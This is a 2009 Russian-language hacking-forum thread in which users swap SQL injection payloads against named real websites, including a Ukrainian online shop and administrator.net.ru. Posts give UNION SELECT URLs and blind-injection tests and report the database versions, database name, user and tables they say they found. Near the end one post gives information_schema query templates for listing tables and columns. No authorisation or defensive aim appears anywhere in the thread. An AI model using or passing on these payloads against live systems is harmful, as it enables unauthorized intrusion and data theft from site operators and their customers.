10.02.2009, 23:25
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Включена фильтрация кавычек, вряд скули там будут.
|
|
|
10.02.2009, 23:45
|
|
Познающий
Регистрация: 24.12.2008
Сообщений: 54
С нами:
9147012
Репутация:
9
|
|
Сообщение от Ershik
Включена фильтрация кавычек, вряд скули там будут.
что можешь посоветовать?
|
|
|
|
11.02.2009, 05:30
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами:
10254549
Репутация:
227
|
|
искать уязвимости. что ещё советовать-то?) Инъекции в ом параметре нет
|
|
|
|
11.02.2009, 05:50
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
где тут вывод???
http://eromarket.com.ua/index.php?productID=-99999%20union%20select%20version()/*
|
|
|
|
11.02.2009, 06:07
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Забавная у тебя там инъекция, без минуса если:
Код:
http://eromarket.com.ua/index.php?productID=99999
Извините, запрашиваемый документ не был найден на сервере
Код:
http://eromarket.com.ua/index.php?categoryID=15+and+substring(version(),1,1)=5
5 ветка, похоже слепая, принтабельных колонок или в исходниках ничего не увидел
ан нет, именно в исходниках вывод и есть
5.0.45-log
Код:
http://eromarket.com.ua/index.php?categoryID=15+union+select+version()/*
<meta name="Description" content="Секс-шоп - EROmarket - Интернет-магазин, секс, sex, sex-shop, sexshop, интим,секс шоп, нижнее белье, эротические, эротические, белье, магазины, товары, духи, эро, bdsm, ero, эротика, возбудитель Разное Tongue Tingler Vibro E-Z Rider 5.0.45-log, Ukraine, Украина, Kiev, Киев">
80 таблиц. Успехов. File_priv нету
Последний раз редактировалось Pashkela; 11.02.2009 в 06:21..
|
|
|
|
11.02.2009, 10:32
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами:
9950786
Репутация:
214
|
|
http://www.administrator.net.ru/?id=4-1 = http://www.administrator.net.ru/?id=3
соответственно должна быть скуля?
при 7 колонках пустая пага....есть ли тут скуля? и как ее крутить?
http://www.administrator.net.ru/?id=-4+union+select+1,2,3,4,5,6,7--
|
|
|
|
11.02.2009, 11:00
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
2 svesve
http://www.administrator.net.ru/?id=3[sql] blind sql
version : 5.0.37-community
database : administratornet_test
user : netadmin@localhost
есть таблица admin....
Последний раз редактировалось Gorev; 11.02.2009 в 11:27..
|
|
|
|
11.02.2009, 12:50
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
что за бд?
Подставил кавычку в поиске sql injection и выдало:
Fatal error: Cannot use object of type DB_Error as array in /home/domen/public_html/lus/script_php/send_msg.php on line 234
Что это за БД и где почитать про раскрутку иньекций в ней?
|
|
|
|
11.02.2009, 12:59
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами:
9950786
Репутация:
214
|
|
Сообщение от Gorev
2 svesve
http://www.administrator.net.ru/?id=3[sql] blind sql
version : 5.0.37-community
database : administratornet_test
user : netadmin@localhost
есть таблица admin....
как искал таблицы?
понимаю что скриптом...за верный ответ сервера ты что принимал?
|
|
|
|
11.02.2009, 13:08
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Sipt
select+table_name+from+information_schema.tables+l imit+{N1-100},1
select+column_name+from+information_schema.columns +where+table_name=(таблица или sql хекc)+limit+{N1-100},1
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
